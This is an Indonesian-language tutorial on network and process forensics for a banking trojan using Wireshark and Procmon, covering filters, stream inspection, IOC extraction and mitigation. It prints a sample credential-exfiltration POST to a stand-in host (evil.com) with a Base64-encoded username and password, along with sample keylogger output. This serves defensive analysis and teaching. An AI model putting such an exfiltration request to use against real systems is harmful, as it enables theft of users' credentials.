Analisis Trojan Perbankan menggunakan Wireshark & Procmon — Network Forensics

Analisis Trojan Perbankan menggunakan Wireshark & Procmon — Network Forensics
Pendahuluan
Trojan perbankan (banking trojan) merupakan salah satu ancaman siber paling canggih yang menargetkan kredensial finansial korban. Malware seperti Zeus, TrickBot, dan Emotet tidak hanya mencuri data login, tetapi juga mampu menyuntikkan halaman palsu, memonitor keyboard, dan mengeksfiltrasi informasi sensitif ke server C2 (Command & Control). Untuk menganalisis perilaku trojan ini, seorang security researcher perlu mengkombinasikan network forensics menggunakan Wireshark dan process monitoring menggunakan Procmon. Artikel ini akan memandu Anda langkah demi langkah dalam melakukan analisis forensik terhadap trojan perbankan.
Lingkungan Analisis
Sebelum memulai, siapkan lingkungan yang aman:
- Mesin virtual (VirtualBox/VMware) dengan OS Windows 10/11.
- Alat bantu: Wireshark (versi terbaru), Procmon dari Sysinternals Suite, Process Hacker (opsional).
- Pastikan VM terisolasi dari jaringan produksi — gunakan mode Host-Only atau NAT terisolasi.
- Jalankan malware dalam sandbox atau snapshot yang dapat dikembalikan.
Langkah 1: Memulai Capture Wireshark
Buka Wireshark dan pilih interface yang terhubung ke internet (misal: Ethernet). Mulai capture dengan filter:
bashtshark -i eth0 -w bank_trojan_traffic.pcap
Atau melalui GUI dengan mengklik ikon hiu biru. Pastikan Anda menangkap full packet tanpa truncation.
Langkah 2: Memonitor Aktivitas dengan Procmon
Jalankan Procmon dengan hak administrator. Gunakan filter awal untuk mengurangi noise:
textProcess Name is malware.exe (ganti sesuai nama sampel) Include
Pada tab Event Menu > Filter Filter, masukkan kondisi:
Process Nameismalware.exe–IncludeOperationisProcess Create–IncludeOperationisRegSetValue–IncludeOperationisWriteFile–Include
Hapus filter default agar fokus pada malware.
Langkah 3: Menjalankan dan Mengamati
Jalankan sampel trojan di VM. Segera catat:
- Proses baru yang muncul (misal: child process cmd.exe, powershell.exe).
- Koneksi jaringan keluar.
- File yang ditulis (biasanya
.log,.txt,.ini). - Registry key yang dimodifikasi (misal:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run).
Langkah 4: Analisis Network Traffic dengan Wireshark
Setelah capture berhenti, analisis pcap dengan filter berikut:
Filter DNS Query
dns.qry.name contains "bank" or dns.qry.name contains "login"
Cari domain Domain Generation Algorithm (DGA) yang acak seperti xz3kld9b.ru.
Filter HTTP Request
http.request
Perhatikan metode POST yang mengirim data ke endpoint /gate.php, /api/collect.
Filter HTTPS (TLS Handshake)
tls.handshake.type == 1
Lihat Server Name Indication (SNI) untuk domain C2. Jika trojan menggunakan sertifikat self-signed, akan terlihat perbedaan.
Data Exfiltration
Gunakan Follow TCP Stream untuk melihat payload. Jika di-encode (Base64, XOR), kita perlu decode. Contoh payload POST:
textPOST /collect HTTP/1.1 Host: evil.com Content-Type: application/x-www-form-urlencoded data=ZXJyb3I6IHVzZXI6IGFkbWluIHBhc3M6IHBhc3N3b3JkMTIz
Decode Base64 tersebut:
bashecho "ZXJyb3I6IHVzZXI6IGFkbWluIHBhc3M6IHBhc3N3b3JkMTIz" | base64 -d # output: error: user: admin pass: password123
Ini menunjukkan keylogger mengirim kredensial.
Langkah 5: Correlate dengan Procmon
Bandingkan waktu koneksi jaringan (dari Wireshark) dengan event Procmon. Contoh:
- Wireshark menunjukkan POST pada
12:34:56.789. - Procmon mencatat
WriteFilekeC:\Users\mal\AppData\Roaming\log.txtpada12:34:56.790.
File log.txt kemungkinan berisi data keylogging sebelum dikirim. Buka file tersebut:
text[2025-02-12 12:34:50] KEY: a [2025-02-12 12:34:51] KEY: b [2025-02-12 12:34:52] KEY: @ ...
Langkah 6: Ekstraksi Indikator Kompromi (IOC)
Buat IOC dari analisis:
- File Hash (MD5/SHA256) dari sampel.
- Domain/IP C2 dari DNS dan TCP stream.
- Registry Key yang dibuat.
- File path yang ditulis.
Contoh IOC:
yamliocs: - type: file path: C:\Users\admin\AppData\Roaming\keylog.dat - type: network ip: 45.33.32.156 domain: xyz123.ddns.net - type: registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SvchostService value: "C:\Users\admin\malware.exe"
Mitigasi & Pencegahan
Setelah memahami perilaku trojan, terapkan langkah-langkah berikut:
- Network Segmentation – Pisahkan sistem finansial dari jaringan umum.
- Endpoint Detection & Response (EDR) – Gunakan solusi yang mampu mendeteksi process injection dan outbound connections mencurigakan.
- Awareness Training – Latih pengguna untuk tidak mengklik lampiran email mencurigakan.
- Application Whitelisting – Hanya izinkan aplikasi yang sah berjalan.
- Traffic Filtering – Blokir domain DGA atau IP publik yang tidak dikenal di perimeter.
Kesimpulan
Kombinasi Wireshark dan Procmon memberikan visibilitas menyeluruh terhadap aktivitas trojan perbankan — baik di lapisan jaringan maupun sistem operasi. Dengan memahami pola traffic dan behavior process, analis dapat mengidentifikasi, mengekstraksi IOC, dan merumuskan countermeasure. Semakin dalam analisis, semakin sulit bagi penyerang untuk lolos dari deteksi.
Selamat berforensik, dan jangan lupa selalu bekerja di lingkungan yang aman!